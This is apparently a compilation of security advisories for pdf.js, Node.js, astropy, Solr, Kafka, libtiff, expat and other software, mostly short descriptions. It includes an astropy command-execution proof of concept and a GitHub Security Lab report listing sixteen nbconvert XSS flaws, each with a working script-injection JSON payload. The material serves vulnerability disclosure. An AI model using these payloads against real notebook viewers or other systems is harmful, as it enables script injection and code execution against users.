Impact If pdf.js is used to load a malicious PDF, and PDF.js is configured with isEvalSupported set to true (which is the default value), unrestricted attacker-controlled JavaScript will be executed in the context of the hosting domain.

Patches The patch removes the use of eval: https://github.com/mozilla/pdf.js/pull/18015

Workarounds Set the option isEvalSupported to false.

References https://bugzilla.mozilla.org/showbug.cgi?id=1893645

Due to the improper handling of batch files in childprocess.spawn / childprocess.spawnSync, a malicious command line argument can inject arbitrary commands and achieve code execution even if the shell option is not enabled.

An attacker can make the Node.js HTTP/2 server completely unavailable by sending a small amount of HTTP/2 frames packets with a few HTTP/2 frames inside. It is possible to leave some data in nghttp2 memory after reset when headers with HTTP/2 CONTINUATION frame are sent to the server and then a TCP connection is abruptly closed by the client triggering the Http2Session destructor while header frames are still being processed (and stored in memory) causing a race condition.

Impact

When the following conditions are met: - Automated CSP headers generation for SSR content is enabled - The web application serves content that can be partially controlled by external users

Then it is possible that the CSP headers generation feature might be "allow-listing" malicious injected resources like inlined JS, or references to external malicious scripts.

Patches Available in version 1.3.0 .

Workarounds - Do not enable CSP headers generation. - Use it only for dynamically generated content that cannot be controlled by external users in any way.

References Are there any links users can visit to find out more?

Summary RCE due to improper input validation in TranformGraph().todotgraph function

Details

Due to improper input validation a malicious user can provide a command or a script file as a value to savelayout argument, which will be placed as the first value in a list of arguments passed to subprocess.Popen. https://github.com/astropy/astropy/blob/9b97d98802ee4f5350a62b681c35d8687ee81d91/astropy/coordinates/transformations.py#L539 Although an error will be raised, the command or script will be executed successfully.

PoC

shell $ cat /tmp/script #!/bin/bash echo astrorce > /tmp/poc.txt shell $ python3 Python 3.9.2 (default, Feb 28 2021, 17:03:44) [GCC 10.2.1 20210110] on linux Type "help", "copyright", "credits" or "license" for more information. >> from astropy.coordinates.transformations import TransformGraph >> tg = TransformGraph() >> tg.todotgraph(savefn="/tmp/1.txt", savelayout="/tmp/script") Traceback (most recent call last): File "<stdin>", line 1, in <module> File "/home/u32i/.local/lib/python3.9/site-packages/astropy/coordinates/transformations.py", line 584, in todotgraph stdout, stderr = proc.communicate(dotgraph) File "/usr/lib/python3.9/subprocess.py", line 1134, in communicate stdout, stderr = self.communicate(input, endtime, timeout) File "/usr/lib/python3.9/subprocess.py", line 1961, in communicate inputview = memoryview(self.input) TypeError: memoryview: a bytes-like object is required, not 'str' >> shell $ cat /tmp/poc.txt astrorce

Impact code execution on the user's machine

An issue in Clojure versions 1.20 to 1.12.0-alpha5 allows an attacker to cause a denial of service (DoS) via the clojure.core$partial$fn5920 function.

Node.js could allow a local attacker to gain elevated privileges on the system, caused by the failure of setuid() to drop all privileges due to iouring. An attacker could exploit this vulnerability to perform privileged operations.

Node.js could allow a remote attacker to bypass security restrictions, caused by improper path traversal sequence sanitization. By using a path traversal attack, an attacker could exploit this vulnerability leading to filesystem permission model bypass.

Node.js could allow a local authenticated attacker to gain elevated privileges on the system, caused by a bug in the implementation of the exception of CAPNETBINDSERVICE. An attacker could exploit this vulnerability to inject code that inherits the process's elevated privileges.

A vulnerability in Node.js HTTP servers allows an attacker to send a specially crafted HTTP request with chunked encoding, leading to resource exhaustion and denial of service (DoS). The server reads an unbounded number of bytes from a single connection, exploiting the lack of limitations on chunk extension bytes. The issue can cause CPU and network bandwidth exhaustion, bypassing standard safeguards like timeouts and body size limits.

A vulnerability in the privateDecrypt() API of the crypto library, allowed a covert timing side-channel during PKCS#1 v1.5 padding error handling. The vulnerability revealed significant timing differences in decryption for valid and invalid ciphertexts. This poses a serious threat as attackers could remotely exploit the vulnerability to decrypt captured RSA ciphertexts or forge signatures, especially in scenarios involving API endpoints processing Json Web Encryption messages.

This vulnerability affects all users in all active release lines: 18.x, 20.x, and 21.x.

Apache Solr could allow a remote authenticated attacker to obtain sensitive information, caused by system property redaction logic inconsistencies. By using the /admin/info/properties endpoint, an attacker could exploit his vulnerability to leak certain passwords.

Apache Solr could allow a remote attacker to execute arbitrary code on the system, caused by the Schema Designer blindly trusting all configsets. An attacker could exploit his vulnerability to execute arbitrary code on the system.

Apache Solr could allow a remote attacker to upload arbitrary files, caused by the improper control of dynamically-managed code resources. By using Backup/Restore APIs, a remote attacker could exploit this vulnerability to upload a malicious file, which could allow the attacker to execute arbitrary code on the vulnerable system.

Pillow could allow a remote attacker to execute arbitrary code on the system, caused by improper neutralization of user supplied-input by the PIL.ImageMath.eval function. By sending a specially crafted request using keys that leverage the environment parameter, an attacker could exploit this vulnerability to execute arbitrary code on the system.

Eclipse Jetty is vulnerable to server-side request forgery, caused by improper handling of XML external entity (XXE) declarations by the XmlParser. By sending a specially crafted request, an attacker could exploit this vulnerability to conduct SSRF attack or cause a denial of service condition.

Python Cryptographic Authority cryptography could provide weaker than expected security, caused by an encoding mismatch regarding critical options with OpenSSH. An attacker could exploit this vulnerability to launch further attacks on the system

libtiff 4.5.0 is vulnerable to Buffer Overflow via extractContigSamplesBytes() at /libtiff/tools/tiffcrop.c:3215.

0-byte UDP payload DoS in c-ares

An attacker could construct a PKCS 12 cert bundle in such a way that could allow for arbitrary memory writes via PKCS 12 Safe Bag attributes being mishandled.

IPython (Interactive Python) is a command shell for interactive computing in multiple programming languages, originally developed for the Python programming language. Versions prior to 8.1.0 are subject to a command injection vulnerability with very specific prerequisites. This vulnerability requires that the function IPython.utils.terminal.settermtitle be called on Windows in a Python environment where ctypes is not available. The dependency on ctypes in IPython.utils.processwin32 prevents the vulnerable code from ever being reached in the ipython binary. However, as a library that could be used by another tool settermtitle could be called and hence introduce a vulnerability. Should an attacker get untrusted input to an instance of this function they would be able to inject shell commands as current process and limited to the scope of the current process. Users of ipython as a library are advised to upgrade. Users unable to upgrade should ensure that any calls to the IPython.utils.terminal.settermtitle function are done with trusted or filtered input.

A possible security vulnerability has been identified in Apache Kafka Connect API. This requires access to a Kafka Connect worker, and the ability to create/modify connectors on it with an arbitrary Kafka client SASL JAAS config and a SASL-based security protocol, which has been possible on Kafka Connect clusters since Apache Kafka Connect 2.3.0. When configuring the connector via the Kafka Connect REST API, an authenticated operator can set the sasl.jaas.config property for any of the connector's Kafka clients to "com.sun.security.auth.module.JndiLoginModule", which can be done via the producer.override.sasl.jaas.config, consumer.override.sasl.jaas.config, or admin.override.sasl.jaas.config properties. This will allow the server to connect to the attacker's LDAP server and deserialize the LDAP response, which the attacker can use to execute java deserialization gadget chains on the Kafka connect server. Attacker can cause unrestricted deserialization of untrusted data (or) RCE vulnerability when there are gadgets in the classpath.

Since Apache Kafka 3.0.0, users are allowed to specify these properties in connector configurations for Kafka Connect clusters running with out-of-the-box configurations. Before Apache Kafka 3.0.0, users may not specify these properties unless the Kafka Connect cluster has been reconfigured with a connector client override policy that permits them.

Since Apache Kafka 3.4.0, we have added a system property ("-Dorg.apache.kafka.disallowed.login.modules") to disable the problematic login modules usage in SASL JAAS configuration. Also by default "com.sun.security.auth.module.JndiLoginModule" is disabled in Apache Kafka Connect 3.4.0.

We advise the Kafka Connect users to validate connector configurations and only allow trusted JNDI configurations. Also examine connector dependencies for vulnerable versions and either upgrade their connectors, upgrading that specific dependency, or removing the connectors as options for remediation. Finally, in addition to leveraging the "org.apache.kafka.disallowed.login.modules" system property, Kafka Connect users can also implement their own connector client config override policy, which can be used to control which Kafka client properties can be overridden directly in a connector config and which cannot.

A vulnerability found in nss. By this security vulnerability, nss client auth crash without a user certificate in the database and this can lead us to a segmentation fault or crash.

Most of the fixes will be in this repo, though, so having it here gives us the private fork to work on patches

Below is currently a duplicate of the original report:

----

Received on security@ipython.org unedited, I'm not sure if we want to make it separate advisories.

Pasted raw for now, feel free to edit or make separate advisories if you have the rights to.

I think the most important is to switch back from nbviewer.jupyter.org -> nbviewer.org at the cloudflare level I guess ? There might be fastly involved as well. --- Impact What kind of vulnerability is it? Who is impacted?

Patches Has the problem been patched? What versions should users upgrade to?

Workarounds Is there a way for users to fix or remediate the vulnerability without upgrading?

References Are there any links users can visit to find out more?

For more information If you have any questions or comments about this advisory: Open an issue in example link to repo Email us at example email address

---

GitHub Security Lab (GHSL) Vulnerability Report

The GitHub Security Lab team has identified potential security vulnerabilities in nbconvert.

We are committed to working with you to help resolve these issues. In this report you will find everything you need to effectively coordinate a resolution of these issues with the GHSL team.

If at any point you have concerns or questions about this process, please do not hesitate to reach out to us at securitylab@github.com (please include GHSL-2021-1013, GHSL-2021-1014, GHSL-2021-1015, GHSL-2021-1016, GHSL-2021-1017, GHSL-2021-1018, GHSL-2021-1019, GHSL-2021-1020, GHSL-2021-1021, GHSL-2021-1022, GHSL-2021-1023, GHSL-2021-1024, GHSL-2021-1025, GHSL-2021-1026, GHSL-2021-1027 or GHSL-2021-1028 as a reference).

If you are NOT the correct point of contact for this report, please let us know!

Summary

When using nbconvert to generate an HTML version of a user-controllable notebook, it is possible to inject arbitrary HTML which may lead to Cross-Site Scripting (XSS) vulnerabilities if these HTML notebooks are served by a web server (eg: nbviewer)

Product

nbconvert

Tested Version

v5.5.0

Details

Issue 1: XSS in notebook.metadata.languageinfo.pygmentslexer (GHSL-2021-1013)

Attacker in control of a notebook can inject arbitrary unescaped HTML in the notebook.metadata.languageinfo.pygmentslexer field such as the following:

json "metadata": { "languageinfo": { "pygmentslexer": "ipython3-foo\"><script>alert(1)</script>" } }

This node is read in the fromnotebooknode method:

python def fromnotebooknode(self, nb, resources=None, kw): langinfo = nb.metadata.get('languageinfo', {}) lexer = langinfo.get('pygmentslexer', langinfo.get('name', None)) highlightcode = self.filters.get('highlightcode', Highlight2HTML(pygmentslexer=lexer, parent=self)) self.registerfilter('highlightcode', highlightcode) return super().fromnotebooknode(nb, resources, kw)

It is then assigned to language var and passed down to pygmentshighlight

python from pygments.formatters import LatexFormatter if not language: language=self.pygmentslexer latex = pygmentshighlight(source, LatexFormatter(), language, metadata)

In this method, the language variable is concatenated to highlight hl- string to conform the cssclass passed to the HTMLFormatter constructor:

python return pygmentshighlight(source if len(source) > 0 else ' ', # needed to help post processors: HtmlFormatter(cssclass=" highlight hl-"+language), language, metadata)

The cssclass variable is then concatenated in the outer div class attribute

python yield 0, ('<div' + (self.cssclass and ' class="%s"' % self.cssclass) + (style and (' style="%s"' % style)) + '>')

Note that the cssclass variable is also used in other unsafe places such as '<table class="%stable">' % self.cssclass + filenametr +)

Issue 2: XSS in notebook.metadata.title (GHSL-2021-1014)

The notebook.metadata.title node is rendered directly to the index.html.j2 HTML template with no escaping:

html {% set nbtitle = nb.metadata.get('title', '') or resources['metadata']['name'] %} <title>{{nbtitle}}</title>

The following notebook.metadata.title node will execute arbitrary javascript:

json "metadata": { "title": "TITLE</title><script>alert(1)</script>" }

Note: this issue also affect other templates, not just the lab one.

Issue 3: XSS in notebook.metadata.widgets(GHSL-2021-1015)

The notebook.metadata.widgets node is rendered directly to the base.html.j2 HTML template with no escaping:

html {% set mimetype = 'application/vnd.jupyter.widget-state+json'%} {% if mimetype in nb.metadata.get("widgets",{})%} <script type="{{ mimetype }}"> {{ nb.metadata.widgets[mimetype] | jsondumps }} </script> {% endif %}

The following notebook.metadata.widgets node will execute arbitrary javascript:

json "metadata": { "widgets": { "application/vnd.jupyter.widget-state+json": {"foo": "pwntester</script><script>alert(1);//"} } }

Note: this issue also affect other templates, not just the lab one.

Issue 4: XSS in notebook.cell.metadata.tags(GHSL-2021-1016)

The notebook.cell.metadata.tags nodes are output directly to the celltags.j2 HTML template with no escaping:

{%- macro celltags(cell) -%} {% if cell.metadata.tags | length > 0 -%} {% for tag in cell.metadata.tags -%} {{ ' celltag' ~ tag -}} {%- endfor -%} {%- endif %} {%- endmacro %}

The following notebook.cell.metadata.tags node will execute arbitrary javascript:

json { "celltype": "code", "executioncount": null, "id": "727d1a5f", "metadata": { "tags": ["FOO\"><script>alert(1)</script><div \""] }, "outputs": [], "source": [] } ],

Note: this issue also affect other templates, not just the lab one.

Issue 5: XSS in output data text/html cells(GHSL-2021-1017)

Using the text/html output data mime type allows arbitrary javascript to be executed when rendering an HTML notebook. This is probably by design, however, it would be nice to enable an option which uses an HTML sanitizer preprocessor to strip down all javascript elements:

The following is an example of a cell with text/html output executing arbitrary javascript code:

json { "celltype": "code", "executioncount": 5, "id": "b72e53fa", "metadata": {}, "outputs": [ { "data": { "text/html": [ "<script>alert(1)</script>" ] }, "executioncount": 5, "metadata": {}, "outputtype": "executeresult" } ], "source": [ "import os; os.system('touch /tmp/pwned')" ] },

Issue 6: XSS in output data image/svg+xml cells(GHSL-2021-1018)

Using the image/svg+xml output data mime type allows arbitrary javascript to be executed when rendering an HTML notebook.

The cell.output.data["image/svg+xml"] nodes are rendered directly to the base.html.j2 HTML template with no escaping

{%- else %} {{ output.data['image/svg+xml'] }} {%- endif %}

The following cell.output.data["image/svg+xml"] node will execute arbitrary javascript:

json { "outputtype": "executeresult", "data": { "image/svg+xml": ["<script>console.log(\"image/svg+xml output\")</script>"] }, "executioncount": null, "metadata": { } }

Issue 7: XSS in notebook.cell.output.svgfilename(GHSL-2021-1019)

The cell.output.svgfilename nodes are rendered directly to the base.html.j2 HTML template with no escaping

{%- if output.svgfilename %} <img src="{{ output.svgfilename | posixpath }}">

The following cell.output.svgfilename node will escape the img tag context and execute arbitrary javascript:

json { "celltype": "code", "executioncount": null, "id": "b72e53fa", "metadata": {}, "outputs": [ { "outputtype": "executeresult", "svgfilename": "\"><script>alert(1)</script>", "data": { "image/svg+xml": [""] }, "executioncount": null, "metadata": { } } ], "source": [""] },

Issue 8: XSS in output data text/markdown cells(GHSL-2021-1020)

Using the text/markdown output data mime type allows arbitrary javascript to be executed when rendering an HTML notebook.

The cell.output.data["text/markdown"] nodes are rendered directly to the base.html.j2 HTML template with no escaping

{{ output.data['text/markdown'] | markdown2html }}

The following cell.output.data["text/markdown"] node will execute arbitrary javascript:

{ "outputtype": "executeresult", "data": { "text/markdown": ["<script>console.log(\"text/markdown output\")</script>"] }, "executioncount": null, "metadata": {} }

Issue 9: XSS in output data application/javascript cells(GHSL-2021-1021)

Using the application/javascript output data mime type allows arbitrary javascript to be executed when rendering an HTML notebook. This is probably by design, however, it would be nice to enable an option which uses an HTML sanitizer preprocessor to strip down all javascript elements:

The cell.output.data["application/javascript"] nodes are rendered directly to the base.html.j2 HTML template with no escaping

<script type="text/javascript"> var element = document.getElementById('{{ divid }}'); {{ output.data['application/javascript'] }} </script>

The following cell.output.data["application/javascript"] node will execute arbitrary javascript:

{ "outputtype": "executeresult", "data": { "application/javascript": ["console.log(\"application/javascript output\")"] }, "executioncount": null, "metadata": {} }

Issue 10: XSS is output.metadata.filenames image/png and image/jpeg(GHSL-2021-1022)

The cell.output.metadata.filenames["images/png"] and cell.metadata.filenames["images/jpeg"] nodes are rendered directly to the base.html.j2 HTML template with no escaping:

{%- if 'image/png' in output.metadata.get('filenames', {}) %} <img src="{{ output.metadata.filenames['image/png'] | posixpath }}"

The following filenames node will execute arbitrary javascript:

json { "outputtype": "executeresult", "data": { "image/png": [""] }, "executioncount": null, "metadata": { "filenames": { "image/png": "\"><script>console.log(\"output.metadata.filenames.image/png injection\")</script>" } } }

Issue 11: XSS in output data image/png and image/jpeg cells(GHSL-2021-1023)

Using the image/png or image/jpeg output data mime type allows arbitrary javascript to be executed when rendering an HTML notebook.

The cell.output.data["images/png"] and cell.output.data["images/jpeg"] nodes are rendered directly to the base.html.j2 HTML template with no escaping:

{%- else %} <img src="data:image/png;base64,{{ output.data['image/png'] }}" {%- endif %}

The following cell.output.data["image/png"] node will execute arbitrary javascript:

json { "outputtype": "executeresult", "data": { "image/png": ["\"><script>console.log(\"image/png output\")</script>"] }, "executioncount": null, "metadata": {} }

Issue 12: XSS is output.metadata.width/height image/png and image/jpeg(GHSL-2021-1024)

The cell.output.metadata.width and cell.output.metadata.height nodes of both image/png and image/jpeg cells are rendered directly to the base.html.j2 HTML template with no escaping:

{%- set width=output | getmetadata('width', 'image/png') -%} width={{ width }} {%- set height=output | getmetadata('height', 'image/png') -%} height={{ height }}

The following output.metadata.width node will execute arbitrary javascript:

json { "outputtype": "executeresult", "data": { "image/png": ["abcd"] }, "executioncount": null, "metadata": { "width": "><script>console.log(\"output.metadata.width png injection\")</script>" } }

Issue 13: XSS in output data application/vnd.jupyter.widget-state+json cells(GHSL-2021-1025)

The cell.output.data["application/vnd.jupyter.widget-state+json"] nodes are rendered directly to the base.html.j2 HTML template with no escaping:

{% set datatypelist = output.data | filterdatatype %} {% set datatype = datatypelist[0]%} <script type="{{ datatype }}"> {{ output.data[datatype] | jsondumps }} </script>

The following cell.output.data["application/vnd.jupyter.widget-state+json"] node will execute arbitrary javascript:

json { "outputtype": "executeresult", "data": { "application/vnd.jupyter.widget-state+json": "\"</script><script>console.log('output.data.application/vnd.jupyter.widget-state+json injection')//" }, "executioncount": null, "metadata": {} }

Issue 14: XSS in output data application/vnd.jupyter.widget-view+json cells(GHSL-2021-1026)

The cell.output.data["application/vnd.jupyter.widget-view+json"] nodes are rendered directly to the base.html.j2 HTML template with no escaping:

{% set datatypelist = output.data | filterdatatype %} {% set datatype = datatypelist[0]%} <script type="{{ datatype }}"> {{ output.data[datatype] | jsondumps }} </script>

The following cell.output.data["application/vnd.jupyter.widget-view+json"] node will execute arbitrary javascript:

json { "outputtype": "executeresult", "data": { "application/vnd.jupyter.widget-view+json": "\"</script><script>console.log('output.data.application/vnd.jupyter.widget-view+json injection')//" }, "executioncount": null, "metadata": {} }

Issue 15: XSS in raw cells(GHSL-2021-1027)

Using a raw cell type allows arbitrary javascript to be executed when rendering an HTML notebook. This is probably by design, however, it would be nice to enable an option which uses an HTML sanitizer preprocessor to strip down all javascript elements:

The following is an example of a raw cell executing arbitrary javascript code:

json { "celltype": "raw", "id": "372c2bf1", "metadata": {}, "source": [ "Payload in raw cell <script>alert(1)</script>" ] }

Issue 16: XSS in markdown cells(GHSL-2021-1028)

Using a markdown cell type allows arbitrary javascript to be executed when rendering an HTML notebook. This is probably by design, however, it would be nice to enable an option which uses an HTML sanitizer preprocessor to strip down all javascript elements:

The following is an example of a markdown cell executing arbitrary javascript code:

json { "celltype": "markdown", "id": "2d42de4a", "metadata": {}, "source": [ "<script>alert(1)</script>" ] },

Proof of Concept

These vulnerabilities may affect any server using nbconvert to generate HTML and not using a secure content-security-policy (CSP) policy. For example nbviewer is vulnerable to the above mentioned XSS issues:

1. Create Gist with payload. eg: - https://gist.github.com/pwntester/ff027d91955369b85f99bb1768b7f02c

2. Then load gist on nbviewer. eg: - https://nbviewer.jupyter.org/gist/pwntester/ff027d91955369b85f99bb1768b7f02c

Note: response is served with content-security-policy: connect-src 'none';

GitHub Security Advisories

We recommend you create a private GitHub Security Advisory for these findings. This also allows you to invite the GHSL team to collaborate and further discuss these findings in private before they are published.

Credit

These issues were discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2021-1013, GHSL-2021-1014, GHSL-2021-1015, GHSL-2021-1016, GHSL-2021-1017, GHSL-2021-1018, GHSL-2021-1019, GHSL-2021-1020, GHSL-2021-1021, GHSL-2021-1022, GHSL-2021-1023, GHSL-2021-1024, GHSL-2021-1025, GHSL-2021-1026, GHSL-2021-1027 or GHSL-2021-1028 in any communication regarding these issues.

Disclosure Policy

This report is subject to our coordinated disclosure policy.

libtiff is vulnerable to a denial of service, caused by NULL pointer dereference in tifunix.c. By persuading a victim to open a specially-crafted TIFF file, a remote attacker could exploit this vulnerability to cause a denial of service.

A heap buffer overflow in ExtractImageSection function in tiffcrop.c in libtiff library Version 4.3.0 allows attacker to trigger unsafe or out of bounds memory access via crafted TIFF image file which could result into application crash, potential information disclosure or any other context-dependent impact

A flaw was found in expat. The vulnerability occurs due to large content in element type declarations when there is an element declaration handler present which leads to an integer overflow. This flaw allows an attacker to inject an unsigned integer, leading to a crash or a denial of service.

expat (libexpat) is susceptible to a software flaw that causes process interruption. When processing a large number of prefixed XML attributes on a single tag can libexpat can terminate unexpectedly due to integer overflow. The highest threat from this vulnerability is to availability, confidentiality and integrity.

expat (libexpat) is susceptible to a software flaw that causes process interruption. When processing a large number of prefixed XML attributes on a single tag can libexpat can terminate unexpectedly due to integer overflow. The highest threat from this vulnerability is to availability, confidentiality and integrity.

expat (libexpat) is susceptible to a software flaw that causes process interruption. When processing a large number of prefixed XML attributes on a single tag can libexpat can terminate unexpectedly due to integer overflow. The highest threat from this vulnerability is to availability, confidentiality and integrity.